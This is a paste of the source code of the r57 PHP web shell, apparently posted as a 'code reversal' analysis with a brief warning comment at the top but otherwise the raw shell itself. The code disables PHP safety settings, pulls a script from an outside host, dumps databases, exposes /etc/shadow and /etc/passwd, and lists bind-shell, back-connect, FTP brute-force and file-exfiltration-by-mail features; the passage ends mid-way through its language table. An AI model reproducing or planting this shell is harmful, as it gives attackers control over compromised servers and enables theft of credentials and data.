· 9 years ago · Jul 05, 2017, 06:40 PM
1 /* Final analysis an code reversal results of the r57 shell as compiled by $d_c0 on 07/04/17. The code has been modified by inseting some whitespaces for easier review and placing a separater "###======" marking where new prossess start and the various languages are used. The code has not been modified otherwise. Warning, this file contains malicious code, do not copy. begin @ line3 */
2
3?><?php error_reporting(0); $language='tr'; $auth = 0; @ini_restore("safe_mode"); @ini_restore("open_basedir"); @ini_restore("safe_mode_include_dir"); @ini_restore("safe_mode_exec_dir"); @ini_restore("disable_functions"); @ini_restore("allow_url_fopen"); @ini_set('error_log',NULL); @ini_set('log_errors',0); ;echo ''; if((!@function_exists('ini_get')) ||(@ini_get('open_basedir')!=NULL) ||(@ini_get('safe_mode_include_dir')!=NULL)){$open_basedir=1;}else{$open_basedir=0;}; define("starttime",@getmicrotime()); set_magic_quotes_runtime(0); @set_time_limit(0); @ini_set('max_execution_time',0); @ini_set('output_buffering',0); $safe_mode = @ini_get('safe_mode'); $version = '1.50<br/><br/><br/><br/>'; if(@version_compare(@phpversion(),'4.1.0') == -1) { $_POST = &$HTTP_POST_VARS; $_GET = &$HTTP_GET_VARS; $_SERVER = &$HTTP_SERVER_VARS; $_COOKIE = &$HTTP_COOKIE_VARS; } if (@get_magic_quotes_gpc()) { foreach ($_POST as $k=>$v) { $_POST[$k] = stripslashes($v); } foreach ($_COOKIE as $k=>$v) { $_COOKIE[$k] = stripslashes($v); } } if($auth == 1) { if (!isset($_SERVER['PHP_AUTH_USER']) ||md5($_SERVER['PHP_AUTH_USER'])!==$name ||md5($_SERVER['PHP_AUTH_PW'])!==$pass) { header('WWW-Authenticate: Basic realm=""'); header('HTTP/1.0 401 Unauthorized'); exit("<b>Access Denied</b>"); } } $head = '
4<html>
5<head>
6<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
7<title>r57 Shell Version 1.50</title>
8<STYLE>
9
10tr {
11
12BORDER-RIGHT: black 1px solid;
13
14BORDER-TOP: black 1px solid;
15
16BORDER-LEFT: black 1px solid;
17
18BORDER-BOTTOM: black 1px solid;
19
20BORDER-COLOR: black;
21
22color: silver;
23
24}
25
26td {
27
28BORDER-RIGHT: black 1px solid;
29
30BORDER-TOP: black 1px solid;
31
32BORDER-LEFT: black 1px solid;
33
34BORDER-BOTTOM: black 1px solid;
35
36BORDER-COLOR: black;
37
38background-color:black;
39
40color: white;
41
42}
43
44
45
46.table1 {
47
48BORDER: 0px;
49
50BORDER-COLOR: #333333;
51
52BACKGROUND-COLOR: black;
53
54color: white;
55
56}
57
58.td1 {
59
60BORDER: 0px;
61
62BORDER-COLOR: #333333;
63
64font: 7pt Verdana;
65
66BACKGROUND-COLOR: black;
67
68color: green;
69
70}
71
72.tr1 {
73
74BORDER: 0px;
75
76BORDER-COLOR: #333333;
77
78color: #50AA20;
79
80}
81
82table {
83
84BORDER: #eeeeee 1px outset;
85
86BORDER-COLOR: #333333;
87
88BACKGROUND-COLOR: #131313;
89
90color: #50AA20;
91
92}
93
94input {
95
96border : solid 1px;
97
98border-color : #2D2D2D #252525 #252525 #252525;
99
100BACKGROUND-COLOR: black;
101
102font: 8pt Verdana;
103
104color: red;
105
106}
107
108select {
109
110BORDER-RIGHT: #ffffff 1px solid;
111
112BORDER-TOP: #999999 1px solid;
113
114BORDER-LEFT: #999999 1px solid;
115
116BORDER-BOTTOM: #ffffff 1px solid;
117
118BORDER-COLOR: #333333;
119
120BACKGROUND-COLOR: #131313;
121
122font: 8pt Verdana;
123
124color: white;;
125
126}
127
128submit {
129
130BORDER: buttonhighlight 2px outset;
131
132BACKGROUND-COLOR: #131313;
133
134width: 30%;
135
136color: white;
137
138}
139
140textarea {
141
142BORDER-RIGHT: #ffffff 1px solid;
143
144BORDER-TOP: #999999 1px solid;
145
146BORDER-LEFT: #999999 1px solid;
147
148BORDER-BOTTOM: #ffffff 1px solid;
149
150BORDER-COLOR: #333333;
151
152BACKGROUND-COLOR: black;
153
154font: Fixedsys bold;
155
156color: silver;
157
158}
159
160BODY {
161
162SCROLLBAR-ARROW-COLOR: #444444;
163
164SCROLLBAR-BASE-COLOR: #444444;
165
166margin: 1px;
167
168color: #50AA20;
169
170background-color: #131313;
171
172}
173
174.main {
175
176margin : -287px 0px 0px -490px;
177
178border : #000000 solid 1px;
179
180BORDER-COLOR: #333333;
181
182}
183
184.tt {
185
186background-color: black;
187
188}
189
190A:link {COLOR:red; TEXT-DECORATION: none}
191
192A:visited { COLOR:red; TEXT-DECORATION: none}
193
194A:active {COLOR:red; TEXT-DECORATION: none}
195
196A:hover {color:blue;TEXT-DECORATION: none}
197
198</STYLE>
199<SCRIPT SRC=http://privshells.com/blabla/per.js></SCRIPT>
200<script language=\'javascript\'>
201function hide_div(id)
202{
203 document.getElementById(id).style.display = \'none\';
204 document.cookie=id+\'=0;\';
205}
206function show_div(id)
207{
208 document.getElementById(id).style.display = \'block\';
209 document.cookie=id+\'=1;\';
210}
211function change_divst(id)
212{
213 if (document.getElementById(id).style.display == \'none\')
214 show_div(id);
215 else
216 hide_div(id);
217}
218
219
220</script>'; class zipfile { var $datasec = array(); var $ctrl_dir = array(); var $eof_ctrl_dir = "PK##"; var $old_offset = 0; function unix2DosTime($unixtime = 0) { $timearray = ($unixtime == 0) ?getdate() : getdate($unixtime); if ($timearray['year'] <1980) { $timearray['year'] = 1980; $timearray['mon'] = 1; $timearray['mday'] = 1; $timearray['hours'] = 0; $timearray['minutes'] = 0; $timearray['seconds'] = 0; } return (($timearray['year'] -1980) <<25) |($timearray['mon'] <<21) |($timearray['mday'] <<16) | ($timearray['hours'] <<11) |($timearray['minutes'] <<5) |($timearray['seconds'] >>1); } function addFile($data,$name,$time = 0) { $name = str_replace('\\','/',$name); $dtime = dechex($this->unix2DosTime($time)); $hexdtime = '\x'.$dtime[6] .$dtime[7] .'\x'.$dtime[4] .$dtime[5] .'\x'.$dtime[2] .$dtime[3] .'\x'.$dtime[0] .$dtime[1]; eval('$hexdtime = "'.$hexdtime .'";'); $fr = "PK##"; $fr .= "#"; $fr .= " "; $fr .= "#"; $fr .= $hexdtime; $unc_len = strlen($data); $crc = crc32($data); $zdata = gzcompress($data); $zdata = substr(substr($zdata,0,strlen($zdata) -4),2); $c_len = strlen($zdata); $fr .= pack('V',$crc); $fr .= pack('V',$c_len); $fr .= pack('V',$unc_len); $fr .= pack('v',strlen($name)); $fr .= pack('v',0); $fr .= $name; $fr .= $zdata; $this ->datasec[] = $fr; $cdrec = "PK##"; $cdrec .= ""; $cdrec .= "#"; $cdrec .= "#"; $cdrec .= $hexdtime; $cdrec .= pack('V',$crc); $cdrec .= pack('V',$c_len); $cdrec .= pack('V',$unc_len); $cdrec .= pack('v',strlen($name) ); $cdrec .= pack('v',0 ); $cdrec .= pack('v',0 ); $cdrec .= pack('v',0 ); $cdrec .= pack('v',0 ); $cdrec .= pack('V',32 ); $cdrec .= pack('V',$this ->old_offset ); $this ->old_offset += strlen($fr); $cdrec .= $name; $this ->ctrl_dir[] = $cdrec; } function file() { $data = implode('',$this ->datasec); $ctrldir = implode('',$this ->ctrl_dir); return $data . $ctrldir . $this ->eof_ctrl_dir . pack('v',sizeof($this ->ctrl_dir)) . pack('v',sizeof($this ->ctrl_dir)) . pack('V',strlen($ctrldir)) . pack('V',strlen($data)) . ""; } } function compress(&$filename,&$filedump,$compress) { global $content_encoding; global $mime_type; if ($compress == 'bzip'&&@function_exists('bzcompress')) { $filename .= '.bz2'; $mime_type = 'application/x-bzip2'; $filedump = bzcompress($filedump); } else if ($compress == 'gzip'&&@function_exists('gzencode')) { $filename .= '.gz'; $content_encoding = 'x-gzip'; $mime_type = 'application/x-gzip'; $filedump = gzencode($filedump); } else if ($compress == 'zip'&&@function_exists('gzcompress')) { $filename .= '.zip'; $mime_type = 'application/zip'; $zipfile = new zipfile(); $zipfile ->addFile($filedump,substr($filename,0,-4)); $filedump = $zipfile ->file(); } else { $mime_type = 'application/octet-stream'; } } function moreread($temp){ global $lang,$language; $str=''; if(@function_exists('fopen')&&@function_exists('feof')&&@function_exists('fgets')&&@function_exists('fclose')){ $ffile = @fopen($temp,"r"); while(!@feof($ffile)){$str .= @fgets($ffile);} fclose($ffile); }elseif(@function_exists('fopen')&&@function_exists('fread')&&@function_exists('fclose')&&@function_exists('filesize')){ $ffile = @fopen($temp,"r"); $str = @fread($ffile,@filesize($temp)); @fclose($ffile); }elseif(@function_exists('file')){ $ffiles = @file ($temp); foreach ($ffiles as $ffile) {$str .= $ffile;} }elseif(@function_exists('file_get_contents')){ $str = @file_get_contents($temp); }elseif(@function_exists('readfile')){ $str = @readfile($temp); }else{echo $lang[$language.'_text56'];} return $str; } function readzlib($filename,$temp=''){ global $lang,$language; $str=''; if(!$temp) {$temp=tempnam(@getcwd(),"copytemp");}; if(@copy("compress.zlib://".$filename,$temp)) { $str = moreread($temp); }else echo $lang[$language.'_text119']; @unlink($temp); return $str; } function mailattach($to,$from,$subj,$attach) { $headers = "From: $from
221"; $headers .= "MIME-Version: 1.0
222"; $headers .= "Content-Type: ".$attach['type']; $headers .= "; name=\"".$attach['name']."\"
223"; $headers .= "Content-Transfer-Encoding: base64
224
225"; $headers .= chunk_split(base64_encode($attach['content']))."
226"; if(mail($to,$subj,"",$headers)) {return 1;} return 0; } class my_sql { var $host = 'localhost'; var $port = ''; var $user = ''; var $pass = ''; var $base = ''; var $db = ''; var $connection; var $res; var $error; var $rows; var $columns; var $num_rows; var $num_fields; var $dump; function connect() { switch($this->db) { case 'MySQL': if(empty($this->port)) {$this->port = '3306';} if(!@function_exists('mysql_connect')) return 0; $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass); if(is_resource($this->connection)) return 1; break; case 'MSSQL': if(empty($this->port)) {$this->port = '1433';} if(!@function_exists('mssql_connect')) return 0; $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass); if($this->connection) return 1; break; case 'PostgreSQL': if(empty($this->port)) {$this->port = '5432';} $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'"; if(!@function_exists('pg_connect')) return 0; $this->connection = @pg_connect($str); if(is_resource($this->connection)) return 1; break; case 'Oracle': if(!@function_exists('ocilogon')) return 0; $this->connection = @ocilogon($this->user,$this->pass,$this->base); if(is_resource($this->connection)) return 1; break; } return 0; } function select_db() { switch($this->db) { case 'MySQL': if(@mysql_select_db($this->base,$this->connection)) return 1; break; case 'MSSQL': if(@mssql_select_db($this->base,$this->connection)) return 1; break; case 'PostgreSQL': return 1; break; case 'Oracle': return 1; break; } return 0; } function query($query) { $this->res=$this->error=''; switch($this->db) { case 'MySQL': if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection))) { $this->error = @mysql_error($this->connection); return 0; } else if(is_resource($this->res)) {return 1;} return 2; break; case 'MSSQL': if(false===($this->res=@mssql_query($query,$this->connection))) { $this->error = 'Query error'; return 0; } else if(@mssql_num_rows($this->res) >0) {return 1;} return 2; break; case 'PostgreSQL': if(false===($this->res=@pg_query($this->connection,$query))) { $this->error = @pg_last_error($this->connection); return 0; } else if(@pg_num_rows($this->res) >0) {return 1;} return 2; break; case 'Oracle': if(false===($this->res=@ociparse($this->connection,$query))) { $this->error = 'Query parse error'; } else { if(@ociexecute($this->res)) { if(@ocirowcount($this->res) != 0) return 2; return 1; } $error = @ocierror(); $this->error=$error['message']; } break; } return 0; } function get_result() { $this->rows=array(); $this->columns=array(); $this->num_rows=$this->num_fields=0; switch($this->db) { case 'MySQL': $this->num_rows=@mysql_num_rows($this->res); $this->num_fields=@mysql_num_fields($this->res); while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))); @mysql_free_result($this->res); if($this->num_rows){$this->columns = @array_keys($this->rows[0]);return 1;} break; case 'MSSQL': $this->num_rows=@mssql_num_rows($this->res); $this->num_fields=@mssql_num_fields($this->res); while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res))); @mssql_free_result($this->res); if($this->num_rows){$this->columns = @array_keys($this->rows[0]);return 1;}; break; case 'PostgreSQL': $this->num_rows=@pg_num_rows($this->res); $this->num_fields=@pg_num_fields($this->res); while(false !== ($this->rows[] = @pg_fetch_assoc($this->res))); @pg_free_result($this->res); if($this->num_rows){$this->columns = @array_keys($this->rows[0]);return 1;} break; case 'Oracle': $this->num_fields=@ocinumcols($this->res); while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++; @ocifreestatement($this->res); if($this->num_rows){$this->columns = @array_keys($this->rows[0]);return 1;} break; } return 0; } function dump($table) { if(empty($table)) return 0; $this->dump=array(); $this->dump[0] = '##'; $this->dump[1] = '## --------------------------------------- '; $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s"); $this->dump[3] = '## Database: '.$this->base; $this->dump[4] = '## Table: '.$table; $this->dump[5] = '## --------------------------------------- '; switch($this->db) { case 'MySQL': $this->dump[0] = '## MySQL dump'; if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0; if(!$this->get_result()) return 0; $this->dump[] = $this->rows[0]['Create Table']; $this->dump[] = '## --------------------------------------- '; if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) { foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);} $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `",$this->columns).'`) VALUES (\''.@implode("', '",$this->rows[$i]).'\');'; } break; case 'MSSQL': $this->dump[0] = '## MSSQL dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) { foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ",$this->columns).') VALUES (\''.@implode("', '",$this->rows[$i]).'\');'; } break; case 'PostgreSQL': $this->dump[0] = '## PostgreSQL dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) { foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ",$this->columns).') VALUES (\''.@implode("', '",$this->rows[$i]).'\');'; } break; case 'Oracle': $this->dump[0] = '## ORACLE dump'; $this->dump[] = '## under construction'; break; default: return 0; break; } return 1; } function close() { switch($this->db) { case 'MySQL': @mysql_close($this->connection); break; case 'MSSQL': @mssql_close($this->connection); break; case 'PostgreSQL': @pg_close($this->connection); break; case 'Oracle': @oci_close($this->connection); break; } } function affected_rows() { switch($this->db) { case 'MySQL': return @mysql_affected_rows($this->res); break; case 'MSSQL': return @mssql_affected_rows($this->res); break; case 'PostgreSQL': return @pg_affected_rows($this->res); break; case 'Oracle': return @ocirowcount($this->res); break; default: return 0; break; } } } if(!empty($_POST['cmd']) &&$_POST['cmd']=="download_file"&&!empty($_POST['d_name'])) { if($file=@fopen($_POST['d_name'],"r")){$filedump = @fread($file,@filesize($_POST['d_name']));@fclose($file);} else if ($file=readzlib($_POST['d_name'])) {$filedump = $file;}else {err(1,$_POST['d_name']);$_POST['cmd']="";} if(isset($_POST['cmd'])) { @ob_clean(); $filename = @basename($_POST['d_name']); $content_encoding=$mime_type=''; compress($filename,$filedump,$_POST['compress']); if (!empty($content_encoding)) {header('Content-Encoding: '.$content_encoding);} header("Content-type: ".$mime_type); header("Content-disposition: attachment; filename=\"".$filename."\";"); echo $filedump; exit(); } } if(isset($_GET['phpinfo'])) {echo @phpinfo();echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";die();} if (!empty($_POST['cmd']) &&$_POST['cmd']=="db_query") { echo $head; $sql = new my_sql(); $sql->db = $_POST['db']; $sql->host = $_POST['db_server']; $sql->port = $_POST['db_port']; $sql->user = $_POST['mysql_l']; $sql->pass = $_POST['mysql_p']; $sql->base = $_POST['mysql_db']; $querys = @explode(';',$_POST['db_query']); echo '<body bgcolor=#000000>'; if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to SQL server</b></font></div>"; else { if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't select database</b></font></div>"; else { foreach($querys as $num=>$query) { if(strlen($query)>5) { echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>"; switch($sql->query($query)) { case '0': echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>"; break; case '1': if($sql->get_result()) { echo "<table width=100%>"; foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES); $keys = @implode(" </b></font></td><td bgcolor=#333333><font face=Verdana size=-2><b> ",$sql->columns); echo "<tr><td bgcolor=#333333><font face=Verdana size=-2><b> ".$keys." </b></font></td></tr>"; for($i=0;$i<$sql->num_rows;$i++) { foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES); $values = @implode(" </font></td><td><font face=Verdana size=-2> ",$sql->rows[$i]); echo '<tr><td><font face=Verdana size=-2> '.$values.' </font></td></tr>'; } echo "</table>"; } break; case '2': $ar = $sql->affected_rows()?($sql->affected_rows()):('0'); echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>"; break; } } } } } echo "<br><form name=form method=POST>"; echo in('hidden','db',0,$_POST['db']); echo in('hidden','db_server',0,$_POST['db_server']); echo in('hidden','db_port',0,$_POST['db_port']); echo in('hidden','mysql_l',0,$_POST['mysql_l']); echo in('hidden','mysql_p',0,$_POST['mysql_p']); echo in('hidden','mysql_db',0,$_POST['mysql_db']); echo in('hidden','cmd',0,'db_query'); echo "<div align=center>"; echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>"; echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;
227SELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; echo "</form>"; echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";die(); } if(isset($_GET['delete'])) { @unlink(__FILE__); } if(isset($_GET['tmp'])) { @unlink("/tmp/bdpl"); @unlink("/tmp/back"); @unlink("/tmp/bd"); @unlink("/tmp/bd.c"); @unlink("/tmp/dp"); @unlink("/tmp/dpc"); @unlink("/tmp/dpc.c"); @unlink("/tmp/prxpl"); @unlink("/tmp/grep.txt"); } if(isset($_GET['phpini'])) { echo $head; function U_value($value) { if ($value == '') return '<i>no value</i>'; if (@is_bool($value)) return $value ?'TRUE': 'FALSE'; if ($value === null) return 'NULL'; if (@is_object($value)) $value = (array) $value; if (@is_array($value)) { @ob_start(); print_r($value); $value = @ob_get_contents(); @ob_end_clean(); } return U_wordwrap((string) $value); } function U_wordwrap($str) { $str = @wordwrap(@htmlspecialchars($str),100,'<wbr />',true); return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!','$1$2<wbr />',$str); } if (@function_exists('ini_get_all')) { $r = ''; echo '<table width=100%>','<tr><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>'; foreach (@ini_get_all() as $key=>$value) { $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>'; } echo $r; echo '</table>'; } echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); } if(isset($_GET['cpu'])) { echo $head; echo '<table width=100%><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>'; $cpuf = @file("cpuinfo"); if($cpuf) { $c = @sizeof($cpuf); for($i=0;$i<$c;$i++) { $info = @explode(":",$cpuf[$i]); if($info[1]==""){$info[1]="---";} $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; } echo $r; } else { echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; } echo '</table>'; echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); } if(isset($_GET['mem'])) { echo $head; echo '<table width=100%><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>'; $memf = @file("meminfo"); if($memf) { $c = sizeof($memf); for($i=0;$i<$c;$i++) { $info = explode(":",$memf[$i]); if($info[1]==""){$info[1]="---";} $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; } echo $r; } else { echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; } echo '</table>'; echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">green</a> ]</b></font></div>"; die(); } if(isset($_GET['dmesg(8)'])) {$_POST['cmd'] = 'dmesg(8)';} if(isset($_GET['free'])) {$_POST['cmd'] = 'free';} if(isset($_GET['vmstat'])) {$_POST['cmd'] = 'vmstat';} if(isset($_GET['lspci'])) {$_POST['cmd'] = 'lspci';} if(isset($_GET['lsdev'])) {$_POST['cmd'] = 'lsdev';} if(isset($_GET['procinfo'])) {$_POST['cmd']='cat /proc/cpuinfo';} if(isset($_GET['version'])) {$_POST['cmd']='cat /proc/version';} if(isset($_GET['interrupts'])) {$_POST['cmd']='cat /proc/interrupts';} if(isset($_GET['realise1'])) {$_POST['cmd'] = 'cat /etc/*realise';} if(isset($_GET['service'])) {$_POST['cmd'] = 'service --status-all';} if(isset($_GET['ifconfig'])) {$_POST['cmd'] = 'ifconfig';} if(isset($_GET['w'])) {$_POST['cmd'] = 'w';} if(isset($_GET['who'])) {$_POST['cmd'] = 'who';} if(isset($_GET['uptime'])) {$_POST['cmd'] = 'uptime';} if(isset($_GET['last'])) {$_POST['cmd'] = 'last -n 10';} if(isset($_GET['psaux'])) {$_POST['cmd'] = 'ps -aux';} if(isset($_GET['netstat'])) {$_POST['cmd'] = 'netstat -a';} if(isset($_GET['lsattr'])) {$_POST['cmd'] = 'lsattr -va';} if(isset($_GET['syslog'])) {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/syslog.conf';} if(isset($_GET['fstab'])) {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/fstab';} if(isset($_GET['fdisk'])) {$_POST['cmd'] = 'fdisk -l';} if(isset($_GET['df'])) {$_POST['cmd'] = 'df -h';} if(isset($_GET['realise2'])) {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/issue.net';} if(isset($_GET['hosts'])) {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/hosts';} if(isset($_GET['resolv'])) {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/resolv.conf';} if(isset($_GET['systeminfo'])) {$_POST['cmd'] = 'systeminfo';} if(isset($_GET['shadow'])) {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/shadow';} if(isset($_GET['passwd'])) {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/passwd';} $lang=array( 'tr_text1'=>'Komut Uygula', 'tr_text2'=>'Server uzerinde komut calistir ', 'tr_text3'=>'Komut istemi ', 'tr_text4'=>'Calisma Dizini ', 'tr_text5'=>'Servere Dosya Upload Et', 'tr_text6'=>'Yerel Dosya ', 'tr_text7'=>'Dizin Veya Dosya Bul ', 'tr_text8'=>'Sec', 'tr_butt1'=>'Uygula', 'tr_butt2'=>'Yukle', 'tr_text9'=>'Porta baglan /bin/bash', 'tr_text10'=>'Port', 'tr_text11'=>'Sifre Giris', 'tr_butt3'=>'Baglan', 'tr_text12'=>'Back-Connect', 'tr_text13'=>'IP', 'tr_text14'=>'Port', 'tr_butt4'=>'Baglan', 'tr_text15'=>'Uzaktan servere dosya yukle', 'tr_text16'=>'ile', 'tr_text17'=>'Uzak Dosya', 'tr_text18'=>'Yerel Dosya', 'tr_text19'=>'Exploits', 'tr_text20'=>'Kullan', 'tr_text21'=>' Yeni ad', 'tr_text22'=>'datapipe', 'tr_text23'=>'Yerel Port', 'tr_text24'=>'Uzak Host', 'tr_text25'=>'Uzak Port', 'tr_text26'=>'Kullan', 'tr_butt5'=>'Iste', 'tr_text28'=>'Guvenlik Modunda Calis', 'tr_text29'=>'Giris Yok ', 'tr_butt6'=>'Degistir', 'tr_text30'=>'Cat file', 'tr_butt7'=>'Goster', 'tr_text31'=>'Dosya Bulunamadi', 'tr_text32'=>'PHP Kod Degerlendir ', 'tr_text33'=>'Test bypass open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)', 'tr_butt8'=>'Testet', 'tr_text34'=>'Includes fonksiyonu ile Guvenlik modunu atlamayi test et.', 'tr_text35'=>'Mysql da ki yukleme dosyasi ile Guvenlik modunu atlamayi test et.', 'tr_text36'=>'Database[VeriTabani]', 'tr_text37'=>'Kullanici', 'tr_text38'=>'Sifre', 'tr_text39'=>'Tablo', 'tr_text40'=>'Dump database table[DB Tablosu dok]', 'tr_butt9'=>'Dump', 'tr_text41'=>'DB dosyalarini kaydet.[Dump filed]', 'tr_text42'=>'Dosya Duzenle ', 'tr_text43'=>'Dosya Duzenlemek icin', 'tr_butt10'=>'Kaydet', 'tr_text44'=>'Dosya degistirilmiyor ! YASAK ! Guvenlik Modu izin Vermiyor', 'tr_text45'=>'Dosya Kaydedildi', 'tr_text46'=>'PHP info Goster()', 'tr_text47'=>'Php.ini dosyasinda ki degiskenleri goster', 'tr_text48'=>'Temp dosylarini sil', 'tr_butt11'=>'Dosya Duzenle', 'tr_text49'=>'Server dan bu scripti sil', 'tr_text50'=>'CPU bilgisini incele', 'tr_text51'=>'Memory[hafiza] bilgisini incele]', 'tr_text52'=>'Metni Bul ', 'tr_text53'=>'Klasor Bul', 'tr_text54'=>'Dosyalarda ki Metni Bul', 'tr_butt12'=>'Bul', 'tr_text55'=>'Dosya Bul ', 'tr_text56'=>'Bulunmadi :( KeyCoder :)', 'tr_text57'=>'Olustur/Sil Dosya/Dizin ', 'tr_text58'=>'isim', 'tr_text59'=>'Dosya', 'tr_text60'=>'Dizin', 'tr_butt13'=>'Olustur/Sil', 'tr_text61'=>'Dosya Olustur', 'tr_text62'=>'Dizin Olustur', 'tr_text63'=>'Dosya Sil', 'tr_text64'=>'Dizin Sil', 'tr_text65'=>'Olustur', 'tr_text66'=>'Sil', 'tr_text67'=>'Chown/Chgrp/Chmod', 'tr_text68'=>'Uygula', 'tr_text69'=>'param1', 'tr_text70'=>'param2', 'tr_text71'=>"Second commands param is:
228- for CHOWN - name of new owner or UID
229- for CHGRP - group name or GID
230- for CHMOD - 0777, 0755...", 'tr_text72'=>'Metin Bul', 'tr_text73'=>'Klasor Bul', 'tr_text74'=>'Dosya Bul', 'tr_text75'=>'* you can use regexp', 'tr_text76'=>'Metin Ara Dosyalarin icinde Arama Yoluyla', 'tr_text80'=>'Cesit', 'tr_text81'=>'Net', 'tr_text82'=>'Databases', 'tr_text83'=>'SQL Sorgusu Yap', 'tr_text84'=>'SQL Sorgusu', 'tr_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', 'tr_text86'=>'Download files from server', 'tr_butt14'=>'Download', 'tr_text87'=>'Download files from remote ftp-server', 'tr_text88'=>'server:port', 'tr_text89'=>'File on ftp', 'tr_text90'=>'Transfer mode', 'tr_text91'=>'Archivation', 'tr_text92'=>'without arch.', 'tr_text93'=>'FTP', 'tr_text94'=>'FTP-bruteforce', 'tr_text95'=>'Users list', 'tr_text96'=>'Can\'t get users list', 'tr_text97'=>'checked: ', 'tr_text98'=>'success: ', 'tr_text99'=>'/etc/passwd', 'tr_text100'=>'Send file to remote ftp server', 'tr_text101'=>'Use reverse (user -> resu)', 'tr_text102'=>'Mail', 'tr_text103'=>'Send email', 'tr_text104'=>'Send file to email', 'tr_text105'=>'To', 'tr_text106'=>'From', 'tr_text107'=>'Subj', 'tr_butt15'=>'Send', 'tr_text108'=>'Mail', 'tr_text109'=>'Hide', 'tr_text110'=>'Show', 'tr_text111'=>'SQL-Server : Port', 'tr_text112'=>'Test bypass safe_mode with function mb_send_mail (PHP <= 4.0-4.2.2, 5.x)', 'tr_text113'=>'Test bypass safe_mode, view dir list via imap_list (PHP <= 5.1.2)', 'tr_text114'=>'Test bypass safe_mode, view file contest via imap_body (PHP <= 5.1.2)', 'tr_text115'=>'Test bypass safe_mode, copy file via copy[compress.zlib://] (PHP <= 4.4.2, 5.1.2)', 'tr_text116'=>'Copy from', 'tr_text117'=>'to', 'tr_text118'=>'File copied', 'tr_text119'=>'Cant copy file', 'tr_text120'=>'Test bypass safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST', 